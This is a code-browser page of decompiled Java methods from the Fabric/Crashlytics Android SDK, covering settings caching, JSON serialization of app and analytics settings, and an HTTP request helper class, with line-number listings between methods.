AnalyticsSettingsData

Java Code
public AnalyticsSettingsData(String analyticsURL, int flushIntervalSeconds, int maxByteSizePerFile, int maxFileCountPerSend, int maxPendingSendFileCount, boolean trackCustomEvents) {
    this(analyticsURL, flushIntervalSeconds, maxByteSizePerFile, maxFileCountPerSend, maxPendingSendFileCount, false, false, trackCustomEvents, true, 1, true);
}



37
38
39

invoke

Java Code
public /* bridge */ /* synthetic */ boolean invoke(AppRequestData appRequestData) {
    return super.invoke(appRequestData);
}



8
9
10

UpdateAppSpiCall

Java Code
public UpdateAppSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory) {
    super(kit, protocolAndHostOverride, url, requestFactory, HttpMethod.PUT);
}



12
13
14

buildFromJson

Java Code



toJson

Java Code



AppIconSettingsData

Java Code
public AppIconSettingsData(String hash, int width, int height) {
    this.hash = hash;
    this.width = width;
    this.height = height;
}



8
9
10
11
12

readCachedSettings

Java Code



writeCachedSettings

Java Code



invoke

Java Code



invoke

Java Code
public /* bridge */ /* synthetic */ boolean invoke(AppRequestData appRequestData) {
    return super.invoke(appRequestData);
}



8
9
10

CreateAppSpiCall

Java Code
public CreateAppSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory) {
    super(kit, protocolAndHostOverride, url, requestFactory, HttpMethod.POST);
}



12
13
14

SettingsRequest

Java Code
public SettingsRequest(String apiKey, String deviceModel, String osBuildVersion, String osDisplayVersion, String advertisingId, String installationId, String androidId, String instanceId, String displayVersion, String buildVersion, int source, String iconHash) {
    this.apiKey = apiKey;
    this.deviceModel = deviceModel;
    this.osBuildVersion = osBuildVersion;
    this.osDisplayVersion = osDisplayVersion;
    this.advertisingId = advertisingId;
    this.installationId = installationId;
    this.androidId = androidId;
    this.instanceId = instanceId;
    this.displayVersion = displayVersion;
    this.buildVersion = buildVersion;
    this.source = source;
    this.iconHash = iconHash;
}



17
18
19
20
21
22
23
24
25
26
27
28
29
30

AppSettingsData

Java Code
public AppSettingsData(String identifier, String status, String url, String reportsUrl, String ndkReportsUrl, boolean updateRequired, AppIconSettingsData icon) {
    this.identifier = identifier;
    this.status = status;
    this.url = url;
    this.reportsUrl = reportsUrl;
    this.ndkReportsUrl = ndkReportsUrl;
    this.updateRequired = updateRequired;
    this.icon = icon;
}



15
16
17
18
19
20
21
22
23

DefaultCachedSettingsIo

Java Code
public DefaultCachedSettingsIo(Kit kit) {
    this.kit = kit;
}



15
16
17

readCachedSettings

Java Code
public JSONObject readCachedSettings() {
    Exception e;
    Throwable th;
    Fabric.getLogger().d(Fabric.TAG, "Reading cached settings...");
    FileInputStream fis = null;
    JSONObject toReturn = null;
    try {
        File settingsFile = new File(new FileStoreImpl(this.kit).getFilesDir(), Settings.SETTINGS_CACHE_FILENAME);
        if (settingsFile.exists()) {
            FileInputStream fis2 = new FileInputStream(settingsFile);
            try {
                toReturn = new JSONObject(CommonUtils.streamToString(fis2));
                fis = fis2;
            } catch (Exception e2) {
                e = e2;
                fis = fis2;
                try {
                    Fabric.getLogger().e(Fabric.TAG, "Failed to fetch cached settings", e);
                    CommonUtils.closeOrLog(fis, "Error while closing settings cache file.");
                    return toReturn;
                } catch (Throwable th2) {
                    th = th2;
                    CommonUtils.closeOrLog(fis, "Error while closing settings cache file.");
                    throw th;
                }
            } catch (Throwable th3) {
                th = th3;
                fis = fis2;
                CommonUtils.closeOrLog(fis, "Error while closing settings cache file.");
                throw th;
            }
        }
        Fabric.getLogger().d(Fabric.TAG, "No cached settings found.");
        CommonUtils.closeOrLog(fis, "Error while closing settings cache file.");
    } catch (Exception e3) {
        e = e3;
        Fabric.getLogger().e(Fabric.TAG, "Failed to fetch cached settings", e);
        CommonUtils.closeOrLog(fis, "Error while closing settings cache file.");
        return toReturn;
    }
    return toReturn;
}



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

writeCachedSettings

Java Code
public void writeCachedSettings(long expiresAtMillis, JSONObject settingsJson) {
    Exception e;
    Throwable th;
    Fabric.getLogger().d(Fabric.TAG, "Writing settings to cache file...");
    if (settingsJson != null) {
        FileWriter writer = null;
        try {
            settingsJson.put(SettingsJsonConstants.EXPIRES_AT_KEY, expiresAtMillis);
            FileWriter writer2 = new FileWriter(new File(new FileStoreImpl(this.kit).getFilesDir(), Settings.SETTINGS_CACHE_FILENAME));
            try {
                writer2.write(settingsJson.toString());
                writer2.flush();
                CommonUtils.closeOrLog(writer2, "Failed to close settings writer.");
            } catch (Exception e2) {
                e = e2;
                writer = writer2;
                try {
                    Fabric.getLogger().e(Fabric.TAG, "Failed to cache settings", e);
                    CommonUtils.closeOrLog(writer, "Failed to close settings writer.");
                } catch (Throwable th2) {
                    th = th2;
                    CommonUtils.closeOrLog(writer, "Failed to close settings writer.");
                    throw th;
                }
            } catch (Throwable th3) {
                th = th3;
                writer = writer2;
                CommonUtils.closeOrLog(writer, "Failed to close settings writer.");
                throw th;
            }
        } catch (Exception e3) {
            e = e3;
            Fabric.getLogger().e(Fabric.TAG, "Failed to cache settings", e);
            CommonUtils.closeOrLog(writer, "Failed to close settings writer.");
        }
    }
}



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

DefaultSettingsJsonTransform

Java Code



buildFromJson

Java Code
public SettingsData buildFromJson(CurrentTimeProvider currentTimeProvider, JSONObject json) throws JSONException {
    int settingsVersion = json.optInt(SettingsJsonConstants.SETTINGS_VERSION, 0);
    int cacheDuration = json.optInt(SettingsJsonConstants.CACHE_DURATION_KEY, 3600);
    return new SettingsData(getExpiresAtFrom(currentTimeProvider, (long) cacheDuration, json), buildAppDataFrom(json.getJSONObject(SettingsJsonConstants.APP_KEY)), buildSessionDataFrom(json.getJSONObject(SettingsJsonConstants.SESSION_KEY)), buildPromptDataFrom(json.getJSONObject(SettingsJsonConstants.PROMPT_KEY)), buildFeaturesSessionDataFrom(json.getJSONObject(SettingsJsonConstants.FEATURES_KEY)), buildAnalyticsSessionDataFrom(json.getJSONObject(SettingsJsonConstants.ANALYTICS_KEY)), buildBetaSettingsDataFrom(json.getJSONObject("beta")), settingsVersion, cacheDuration);
}



11
12
13
14
15

toJson

Java Code
public JSONObject toJson(SettingsData settingsData) throws JSONException {
    return new JSONObject().put(SettingsJsonConstants.EXPIRES_AT_KEY, settingsData.expiresAtMillis).put(SettingsJsonConstants.CACHE_DURATION_KEY, settingsData.cacheDuration).put(SettingsJsonConstants.SETTINGS_VERSION, settingsData.settingsVersion).put(SettingsJsonConstants.FEATURES_KEY, toFeaturesJson(settingsData.featuresData)).put(SettingsJsonConstants.ANALYTICS_KEY, toAnalyticsJson(settingsData.analyticsSettingsData)).put("beta", toBetaJson(settingsData.betaSettingsData)).put(SettingsJsonConstants.APP_KEY, toAppJson(settingsData.appData)).put(SettingsJsonConstants.SESSION_KEY, toSessionJson(settingsData.sessionData)).put(SettingsJsonConstants.PROMPT_KEY, toPromptJson(settingsData.promptData));
}



17
18
19

buildAppDataFrom

Java Code
private AppSettingsData buildAppDataFrom(JSONObject json) throws JSONException {
    String identifier = json.getString(SettingsJsonConstants.APP_IDENTIFIER_KEY);
    String status = json.getString(SettingsJsonConstants.APP_STATUS_KEY);
    String url = json.getString("url");
    String reportsUrl = json.getString(SettingsJsonConstants.APP_REPORTS_URL_KEY);
    String ndkReportsUrl = json.getString(SettingsJsonConstants.APP_NDK_REPORTS_URL_KEY);
    boolean updateRequired = json.optBoolean(SettingsJsonConstants.APP_UPDATE_REQUIRED_KEY, false);
    AppIconSettingsData icon = null;
    if (json.has(SettingsJsonConstants.APP_ICON_KEY) && json.getJSONObject(SettingsJsonConstants.APP_ICON_KEY).has(SettingsJsonConstants.ICON_HASH_KEY)) {
        icon = buildIconDataFrom(json.getJSONObject(SettingsJsonConstants.APP_ICON_KEY));
    }
    return new AppSettingsData(identifier, status, url, reportsUrl, ndkReportsUrl, updateRequired, icon);
}



21
22
23
24
25
26
27
28
29
30
31
32
33

buildIconDataFrom

Java Code
private AppIconSettingsData buildIconDataFrom(JSONObject iconJson) throws JSONException {
    return new AppIconSettingsData(iconJson.getString(SettingsJsonConstants.ICON_HASH_KEY), iconJson.getInt(SettingsJsonConstants.ICON_WIDTH_KEY), iconJson.getInt(SettingsJsonConstants.ICON_HEIGHT_KEY));
}



35
36
37

buildFeaturesSessionDataFrom

Java Code
private FeaturesSettingsData buildFeaturesSessionDataFrom(JSONObject json) {
    return new FeaturesSettingsData(json.optBoolean(SettingsJsonConstants.FEATURES_PROMPT_ENABLED_KEY, false), json.optBoolean(SettingsJsonConstants.FEATURES_COLLECT_LOGGED_EXCEPTIONS_KEY, true), json.optBoolean(SettingsJsonConstants.FEATURES_COLLECT_REPORTS_KEY, true), json.optBoolean(SettingsJsonConstants.FEATURES_COLLECT_ANALYTICS_KEY, false));
}



39
40
41

buildAnalyticsSessionDataFrom

Java Code
private AnalyticsSettingsData buildAnalyticsSessionDataFrom(JSONObject json) {
    return new AnalyticsSettingsData(json.optString("url", SettingsJsonConstants.ANALYTICS_URL_DEFAULT), json.optInt(SettingsJsonConstants.ANALYTICS_FLUSH_INTERVAL_SECS_KEY, SettingsJsonConstants.ANALYTICS_FLUSH_INTERVAL_SECS_DEFAULT), json.optInt(SettingsJsonConstants.ANALYTICS_MAX_BYTE_SIZE_PER_FILE_KEY, 8000), json.optInt(SettingsJsonConstants.ANALYTICS_MAX_FILE_COUNT_PER_SEND_KEY, 1), json.optInt(SettingsJsonConstants.ANALYTICS_MAX_PENDING_SEND_FILE_COUNT_KEY, 100), json.optBoolean(SettingsJsonConstants.ANALYTICS_FORWARD_TO_GOOGLE_ANALYTICS_KEY, false), json.optBoolean(SettingsJsonConstants.ANALYTICS_INCLUDE_PURCHASE_EVENTS_IN_FORWARDED_EVENTS_KEY, false), json.optBoolean(SettingsJsonConstants.ANALYTICS_TRACK_CUSTOM_EVENTS_KEY, true), json.optBoolean(SettingsJsonConstants.ANALYTICS_TRACK_PREDEFINED_EVENTS_KEY, true), json.optInt(SettingsJsonConstants.ANALYTICS_SAMPLING_RATE_KEY, 1), json.optBoolean(SettingsJsonConstants.ANALYTICS_FLUSH_ON_BACKGROUND_KEY, true));
}



43
44
45

buildSessionDataFrom

Java Code
private SessionSettingsData buildSessionDataFrom(JSONObject json) throws JSONException {
    return new SessionSettingsData(json.optInt(SettingsJsonConstants.SETTINGS_LOG_BUFFER_SIZE_KEY, SettingsJsonConstants.SETTINGS_LOG_BUFFER_SIZE_DEFAULT), json.optInt(SettingsJsonConstants.SETTINGS_MAX_CHAINED_EXCEPTION_DEPTH_KEY, 8), json.optInt(SettingsJsonConstants.SETTINGS_MAX_CUSTOM_EXCEPTION_EVENTS_KEY, 64), json.optInt(SettingsJsonConstants.SETTINGS_MAX_CUSTOM_KEY_VALUE_PAIRS_KEY, 64), json.optInt(SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_KEY, SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT), json.optBoolean(SettingsJsonConstants.SETTINGS_SEND_SESSION_WITHOUT_CRASH_KEY, false), json.optInt(SettingsJsonConstants.SETTINGS_MAX_COMPLETE_SESSIONS_COUNT_KEY, 4));
}



47
48
49

buildPromptDataFrom

Java Code
private PromptSettingsData buildPromptDataFrom(JSONObject json) throws JSONException {
    return new PromptSettingsData(json.optString(SettingsJsonConstants.PROMPT_TITLE_KEY, SettingsJsonConstants.PROMPT_TITLE_DEFAULT), json.optString(SettingsJsonConstants.PROMPT_MESSAGE_KEY, SettingsJsonConstants.PROMPT_MESSAGE_DEFAULT), json.optString(SettingsJsonConstants.PROMPT_SEND_BUTTON_TITLE_KEY, SettingsJsonConstants.PROMPT_SEND_BUTTON_TITLE_DEFAULT), json.optBoolean(SettingsJsonConstants.PROMPT_SHOW_CANCEL_BUTTON_KEY, true), json.optString(SettingsJsonConstants.PROMPT_CANCEL_BUTTON_TITLE_KEY, SettingsJsonConstants.PROMPT_CANCEL_BUTTON_TITLE_DEFAULT), json.optBoolean(SettingsJsonConstants.PROMPT_SHOW_ALWAYS_SEND_BUTTON_KEY, true), json.optString(SettingsJsonConstants.PROMPT_ALWAYS_SEND_BUTTON_TITLE_KEY, SettingsJsonConstants.PROMPT_ALWAYS_SEND_BUTTON_TITLE_DEFAULT));
}



51
52
53

buildBetaSettingsDataFrom

Java Code
private BetaSettingsData buildBetaSettingsDataFrom(JSONObject json) throws JSONException {
    return new BetaSettingsData(json.optString(SettingsJsonConstants.BETA_UPDATE_ENDPOINT, SettingsJsonConstants.BETA_UPDATE_ENDPOINT_DEFAULT), json.optInt(SettingsJsonConstants.BETA_UPDATE_SUSPEND_DURATION, 3600));
}



55
56
57

getExpiresAtFrom

Java Code
private long getExpiresAtFrom(CurrentTimeProvider currentTimeProvider, long cacheDurationSeconds, JSONObject json) throws JSONException {
    if (json.has(SettingsJsonConstants.EXPIRES_AT_KEY)) {
        return json.getLong(SettingsJsonConstants.EXPIRES_AT_KEY);
    }
    return currentTimeProvider.getCurrentTimeMillis() + (1000 * cacheDurationSeconds);
}



59
60
61
62
63
64

toAppJson

Java Code
private JSONObject toAppJson(AppSettingsData appData) throws JSONException {
    JSONObject json = new JSONObject().put(SettingsJsonConstants.APP_IDENTIFIER_KEY, appData.identifier).put(SettingsJsonConstants.APP_STATUS_KEY, appData.status).put("url", appData.url).put(SettingsJsonConstants.APP_REPORTS_URL_KEY, appData.reportsUrl).put(SettingsJsonConstants.APP_NDK_REPORTS_URL_KEY, appData.ndkReportsUrl).put(SettingsJsonConstants.APP_UPDATE_REQUIRED_KEY, appData.updateRequired);
    if (appData.icon != null) {
        json.put(SettingsJsonConstants.APP_ICON_KEY, toIconJson(appData.icon));
    }
    return json;
}



66
67
68
69
70
71
72

toIconJson

Java Code
private JSONObject toIconJson(AppIconSettingsData icon) throws JSONException {
    return new JSONObject().put(SettingsJsonConstants.ICON_HASH_KEY, icon.hash).put(SettingsJsonConstants.ICON_WIDTH_KEY, icon.width).put(SettingsJsonConstants.ICON_HEIGHT_KEY, icon.height);
}



74
75
76

toFeaturesJson

Java Code
private JSONObject toFeaturesJson(FeaturesSettingsData features) throws JSONException {
    return new JSONObject().put(SettingsJsonConstants.FEATURES_COLLECT_LOGGED_EXCEPTIONS_KEY, features.collectLoggedException).put(SettingsJsonConstants.FEATURES_COLLECT_REPORTS_KEY, features.collectReports).put(SettingsJsonConstants.FEATURES_COLLECT_ANALYTICS_KEY, features.collectAnalytics);
}



78
79
80

toSessionJson

Java Code
private JSONObject toSessionJson(SessionSettingsData data) throws JSONException {
    return new JSONObject().put(SettingsJsonConstants.SETTINGS_LOG_BUFFER_SIZE_KEY, data.logBufferSize).put(SettingsJsonConstants.SETTINGS_MAX_CHAINED_EXCEPTION_DEPTH_KEY, data.maxChainedExceptionDepth).put(SettingsJsonConstants.SETTINGS_MAX_CUSTOM_EXCEPTION_EVENTS_KEY, data.maxCustomExceptionEvents).put(SettingsJsonConstants.SETTINGS_MAX_CUSTOM_KEY_VALUE_PAIRS_KEY, data.maxCustomKeyValuePairs).put(SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_KEY, data.identifierMask).put(SettingsJsonConstants.SETTINGS_SEND_SESSION_WITHOUT_CRASH_KEY, data.sendSessionWithoutCrash);
}



82
83
84

toAnalyticsJson

Java Code
private JSONObject toAnalyticsJson(AnalyticsSettingsData data) throws JSONException {
    return new JSONObject().put("url", data.analyticsURL).put(SettingsJsonConstants.ANALYTICS_FLUSH_INTERVAL_SECS_KEY, data.flushIntervalSeconds).put(SettingsJsonConstants.ANALYTICS_MAX_BYTE_SIZE_PER_FILE_KEY, data.maxByteSizePerFile).put(SettingsJsonConstants.ANALYTICS_MAX_FILE_COUNT_PER_SEND_KEY, data.maxFileCountPerSend).put(SettingsJsonConstants.ANALYTICS_MAX_PENDING_SEND_FILE_COUNT_KEY, data.maxPendingSendFileCount);
}



86
87
88

toBetaJson

Java Code
private JSONObject toBetaJson(BetaSettingsData data) throws JSONException {
    return new JSONObject().put(SettingsJsonConstants.BETA_UPDATE_ENDPOINT, data.updateUrl).put(SettingsJsonConstants.BETA_UPDATE_SUSPEND_DURATION, data.updateSuspendDurationSeconds);
}



90
91
92

toPromptJson

Java Code
private JSONObject toPromptJson(PromptSettingsData data) throws JSONException {
    return new JSONObject().put(SettingsJsonConstants.PROMPT_TITLE_KEY, data.title).put(SettingsJsonConstants.PROMPT_MESSAGE_KEY, data.message).put(SettingsJsonConstants.PROMPT_SEND_BUTTON_TITLE_KEY, data.sendButtonTitle).put(SettingsJsonConstants.PROMPT_SHOW_CANCEL_BUTTON_KEY, data.showCancelButton).put(SettingsJsonConstants.PROMPT_CANCEL_BUTTON_TITLE_KEY, data.cancelButtonTitle).put(SettingsJsonConstants.PROMPT_SHOW_ALWAYS_SEND_BUTTON_KEY, data.showAlwaysSendButton).put(SettingsJsonConstants.PROMPT_ALWAYS_SEND_BUTTON_TITLE_KEY, data.alwaysSendButtonTitle);
}



94
95
96

IconRequest

Java Code
public IconRequest(String hash, int iconResourceId, int width, int height) {
    this.hash = hash;
    this.iconResourceId = iconResourceId;
    this.width = width;
    this.height = height;
}



15
16
17
18
19
20

build

Java Code
public static IconRequest build(Context context, String iconHash) {
    if (iconHash == null) {
        return null;
    }
    try {
        int iconId = CommonUtils.getAppIconResourceId(context);
        Fabric.getLogger().d(Fabric.TAG, "App icon resource ID is " + iconId);
        Options options = new Options();
        options.inJustDecodeBounds = true;
        BitmapFactory.decodeResource(context.getResources(), iconId, options);
        return new IconRequest(iconHash, iconId, options.outWidth, options.outHeight);
    } catch (Exception e) {
        Fabric.getLogger().e(Fabric.TAG, "Failed to load icon", e);
        return null;
    }
}



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

getValidCharset

Java Code
private static String getValidCharset(String charset) {
    return (charset == null || charset.length() <= 0) ? CHARSET_UTF8 : charset;
}



324
325
326

addPathSeparator

Java Code
private static StringBuilder addPathSeparator(String baseUrl, StringBuilder result) {
    if (baseUrl.indexOf(58) + 2 == baseUrl.lastIndexOf(47)) {
        result.append('/');
    }
    return result;
}



328
329
330
331
332
333

addParamPrefix

Java Code
private static StringBuilder addParamPrefix(String baseUrl, StringBuilder result) {
    int queryStart = baseUrl.indexOf(63);
    int lastChar = result.length() - 1;
    if (queryStart == -1) {
        result.append('?');
    } else if (queryStart < lastChar && baseUrl.charAt(lastChar) != '&') {
        result.append('&');
    }
    return result;
}



335
336
337
338
339
340
341
342
343
344

setConnectionFactory

Java Code
public static void setConnectionFactory(ConnectionFactory connectionFactory) {
    if (connectionFactory == null) {
        CONNECTION_FACTORY = ConnectionFactory.DEFAULT;
    } else {
        CONNECTION_FACTORY = connectionFactory;
    }
}



346
347
348
349
350
351
352

encode

Java Code
public static String encode(CharSequence url) throws HttpRequestException {
    try {
        URL parsed = new URL(url.toString());
        String host = parsed.getHost();
        int port = parsed.getPort();
        if (port != -1) {
            host = host + ':' + Integer.toString(port);
        }
        try {
            String encoded = new URI(parsed.getProtocol(), host, parsed.getPath(), parsed.getQuery(), null).toASCIIString();
            int paramsStart = encoded.indexOf(63);
            if (paramsStart > 0 && paramsStart + 1 < encoded.length()) {
                encoded = encoded.substring(0, paramsStart + 1) + encoded.substring(paramsStart + 1).replace("+", "%2B");
            }
            return encoded;
        } catch (URISyntaxException e) {
            IOException io = new IOException("Parsing URI failed");
            io.initCause(e);
            throw new HttpRequestException(io);
        }
    } catch (IOException e2) {
        throw new HttpRequestException(e2);
    }
}



354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377

append

Java Code
public static String append(CharSequence url, Map<?, ?> params) {
    String baseUrl = url.toString();
    if (params == null || params.isEmpty()) {
        return baseUrl;
    }
    StringBuilder result = new StringBuilder(baseUrl);
    addPathSeparator(baseUrl, result);
    addParamPrefix(baseUrl, result);
    Iterator<?> iterator = params.entrySet().iterator();
    Entry<?, ?> entry = (Entry) iterator.next();
    result.append(entry.getKey().toString());
    result.append('=');
    Object value = entry.getValue();
    if (value != null) {
        result.append(value);
    }
    while (iterator.hasNext()) {
        result.append('&');
        entry = (Entry) iterator.next();
        result.append(entry.getKey().toString());
        result.append('=');
        value = entry.getValue();
        if (value != null) {
            result.append(value);
        }
    }
    return result.toString();
}



379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406

append

Java Code
public static String append(CharSequence url, Object... params) {
    String baseUrl = url.toString();
    if (params == null || params.length == 0) {
        return baseUrl;
    }
    if (params.length % 2 != 0) {
        throw new IllegalArgumentException("Must specify an even number of parameter names/values");
    }
    StringBuilder result = new StringBuilder(baseUrl);
    addPathSeparator(baseUrl, result);
    addParamPrefix(baseUrl, result);
    result.append(params[0]);
    result.append('=');
    Object value = params[1];
    if (value != null) {
        result.append(value);
    }
    for (int i = 2; i < params.length; i += 2) {
        result.append('&');
        result.append(params[i]);
        result.append('=');
        value = params[i + 1];
        if (value != null) {
            result.append(value);
        }
    }
    return result.toString();
}



408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435

get

Java Code
public static HttpRequest get(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_GET);
}



437
438
439

get

Java Code
public static HttpRequest get(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_GET);
}



441
442
443

get

Java Code
public static HttpRequest get(CharSequence baseUrl, Map<?, ?> params, boolean encode) {
    CharSequence url = append(baseUrl, (Map) params);
    if (encode) {
        url = encode(url);
    }
    return get(url);
}



445
446
447
448
449
450
451

get

Java Code
public static HttpRequest get(CharSequence baseUrl, boolean encode, Object... params) {
    CharSequence url = append(baseUrl, params);
    if (encode) {
        url = encode(url);
    }
    return get(url);
}



453
454
455
456
457
458
459

post

Java Code
public static HttpRequest post(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_POST);
}



461
462
463

post

Java Code
public static HttpRequest post(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_POST);
}



465
466
467

post

Java Code
public static HttpRequest post(CharSequence baseUrl, Map<?, ?> params, boolean encode) {
    CharSequence url = append(baseUrl, (Map) params);
    if (encode) {
        url = encode(url);
    }
    return post(url);
}



469
470
471
472
473
474
475

post

Java Code
public static HttpRequest post(CharSequence baseUrl, boolean encode, Object... params) {
    CharSequence url = append(baseUrl, params);
    if (encode) {
        url = encode(url);
    }
    return post(url);
}



477
478
479
480
481
482
483

put

Java Code
public static HttpRequest put(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_PUT);
}



485
486
487

put

Java Code
public static HttpRequest put(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_PUT);
}



489
490
491

put

Java Code
public static HttpRequest put(CharSequence baseUrl, Map<?, ?> params, boolean encode) {
    CharSequence url = append(baseUrl, (Map) params);
    if (encode) {
        url = encode(url);
    }
    return put(url);
}



493
494
495
496
497
498
499

put

Java Code
public static HttpRequest put(CharSequence baseUrl, boolean encode, Object... params) {
    CharSequence url = append(baseUrl, params);
    if (encode) {
        url = encode(url);
    }
    return put(url);
}



501
502
503
504
505
506
507

delete

Java Code
public static HttpRequest delete(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_DELETE);
}



509
510
511

delete

Java Code
public static HttpRequest delete(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_DELETE);
}



513
514
515

delete

Java Code
public static HttpRequest delete(CharSequence baseUrl, Map<?, ?> params, boolean encode) {
    CharSequence url = append(baseUrl, (Map) params);
    if (encode) {
        url = encode(url);
    }
    return delete(url);
}



517
518
519
520
521
522
523

delete

Java Code
public static HttpRequest delete(CharSequence baseUrl, boolean encode, Object... params) {
    CharSequence url = append(baseUrl, params);
    if (encode) {
        url = encode(url);
    }
    return delete(url);
}



525
526
527
528
529
530
531

head

Java Code
public static HttpRequest head(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_HEAD);
}



533
534
535

head

Java Code
public static HttpRequest head(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_HEAD);
}



537
538
539

head

Java Code
public static HttpRequest head(CharSequence baseUrl, Map<?, ?> params, boolean encode) {
    CharSequence url = append(baseUrl, (Map) params);
    if (encode) {
        url = encode(url);
    }
    return head(url);
}



541
542
543
544
545
546
547

head

Java Code
public static HttpRequest head(CharSequence baseUrl, boolean encode, Object... params) {
    CharSequence url = append(baseUrl, params);
    if (encode) {
        url = encode(url);
    }
    return head(url);
}



549
550
551
552
553
554
555

options

Java Code
public static HttpRequest options(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_OPTIONS);
}



557
558
559

options

Java Code
public static HttpRequest options(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_OPTIONS);
}



561
562
563

trace

Java Code
public static HttpRequest trace(CharSequence url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_TRACE);
}



565
566
567

trace

Java Code
public static HttpRequest trace(URL url) throws HttpRequestException {
    return new HttpRequest(url, METHOD_TRACE);
}



569
570
571

keepAlive

Java Code
public static void keepAlive(boolean keepAlive) {
    setProperty("http.keepAlive", Boolean.toString(keepAlive));
}



573
574
575

proxyHost

Java Code
public static void proxyHost(String host) {
    setProperty("http.proxyHost", host);
    setProperty("https.proxyHost", host);
}



577
578
579
580

proxyPort

Java Code
public static void proxyPort(int port) {
    String portValue = Integer.toString(port);
    setProperty("http.proxyPort", portValue);
    setProperty("https.proxyPort", portValue);
}



582
583
584
585
586

nonProxyHosts

Java Code
public static void nonProxyHosts(String... hosts) {
    if (hosts == null || hosts.length <= 0) {
        setProperty("http.nonProxyHosts", null);
        return;
    }
    StringBuilder separated = new StringBuilder();
    int last = hosts.length - 1;
    for (int i = 0; i < last; i++) {
        separated.append(hosts[i]).append('|');
    }
    separated.append(hosts[last]);
    setProperty("http.nonProxyHosts", separated.toString());
}



588
589
590
591
592
593
594
595
596
597
598
599
600

setProperty

Java Code
private static String setProperty(final String name, final String value) {
    PrivilegedAction<String> action;
    if (value != null) {
        action = new PrivilegedAction<String>() {
            public String run() {
                return System.setProperty(name, value);
            }
        };
    } else {
        action = new PrivilegedAction<String>() {
            public String run() {
                return System.clearProperty(name);
            }
        };
    }
    return (String) AccessController.doPrivileged(action);
}



602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618

run

Java Code
public String run() {
    return System.setProperty(name, value);
}



606
607
608

run

Java Code
public String run() {
    return System.clearProperty(name);
}



612
613
614

HttpRequest

Java Code
public HttpRequest(CharSequence url, String method) throws HttpRequestException {
    try {
        this.url = new URL(url.toString());
        this.requestMethod = method;
    } catch (MalformedURLException e) {
        throw new HttpRequestException(e);
    }
}



620
621
622
623
624
625
626
627

HttpRequest

Java Code
public HttpRequest(URL url, String method) throws HttpRequestException {
    this.url = url;
    this.requestMethod = method;
}



629
630
631
632

createProxy

Java Code
private Proxy createProxy() {
    return new Proxy(Type.HTTP, new InetSocketAddress(this.httpProxyHost, this.httpProxyPort));
}



634
635
636

createConnection

Java Code
private HttpURLConnection createConnection() {
    try {
        HttpURLConnection connection;
        if (this.httpProxyHost != null) {
            connection = CONNECTION_FACTORY.create(this.url, createProxy());
        } else {
            connection = CONNECTION_FACTORY.create(this.url);
        }
        connection.setRequestMethod(this.requestMethod);
        return connection;
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



638
639
640
641
642
643
644
645
646
647
648
649
650
651

toString

Java Code
public String toString() {
    return method() + ' ' + url();
}



653
654
655

getConnection

Java Code
public HttpURLConnection getConnection() {
    if (this.connection == null) {
        this.connection = createConnection();
    }
    return this.connection;
}



657
658
659
660
661
662

ignoreCloseExceptions

Java Code
public HttpRequest ignoreCloseExceptions(boolean ignore) {
    this.ignoreCloseExceptions = ignore;
    return this;
}



664
665
666
667

ignoreCloseExceptions

Java Code
public boolean ignoreCloseExceptions() {
    return this.ignoreCloseExceptions;
}



669
670
671

code

Java Code
public int code() throws HttpRequestException {
    try {
        closeOutput();
        return getConnection().getResponseCode();
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



673
674
675
676
677
678
679
680

code

Java Code
public HttpRequest code(AtomicInteger output) throws HttpRequestException {
    output.set(code());
    return this;
}



682
683
684
685

ok

Java Code
public boolean ok() throws HttpRequestException {
    return 200 == code();
}



687
688
689

created

Java Code
public boolean created() throws HttpRequestException {
    return 201 == code();
}



691
692
693

serverError

Java Code
public boolean serverError() throws HttpRequestException {
    return 500 == code();
}



695
696
697

badRequest

Java Code
public boolean badRequest() throws HttpRequestException {
    return 400 == code();
}



699
700
701

notFound

Java Code
public boolean notFound() throws HttpRequestException {
    return 404 == code();
}



703
704
705

notModified

Java Code
public boolean notModified() throws HttpRequestException {
    return 304 == code();
}



707
708
709

message

Java Code
public String message() throws HttpRequestException {
    try {
        closeOutput();
        return getConnection().getResponseMessage();
    } catch (IOException e) {
        throw new HttpRequestException(e);
    }
}



711
712
713
714
715
716
717
718

disconnect

Java Code
public HttpRequest disconnect() {
    getConnection().disconnect();
    return this;
}



720
721
722
723

chunk

Java Code
public HttpRequest chunk(int size) {
    getConnection().setChunkedStreamingMode(size);
    return this;
}



725
726
727
728

bufferSize

Java Code
public HttpRequest bufferSize(int size) {
    if (size < 1) {
        throw new IllegalArgumentException("Size must be greater than zero");
    }
    this.bufferSize = size;
    return this;
}



730
731
732
733
734
735
736

bufferSize

Java Code
public int bufferSize() {
    return this.bufferSize;
}



738
739
740

uncompress

Java Code
public HttpRequest uncompress(boolean uncompress) {
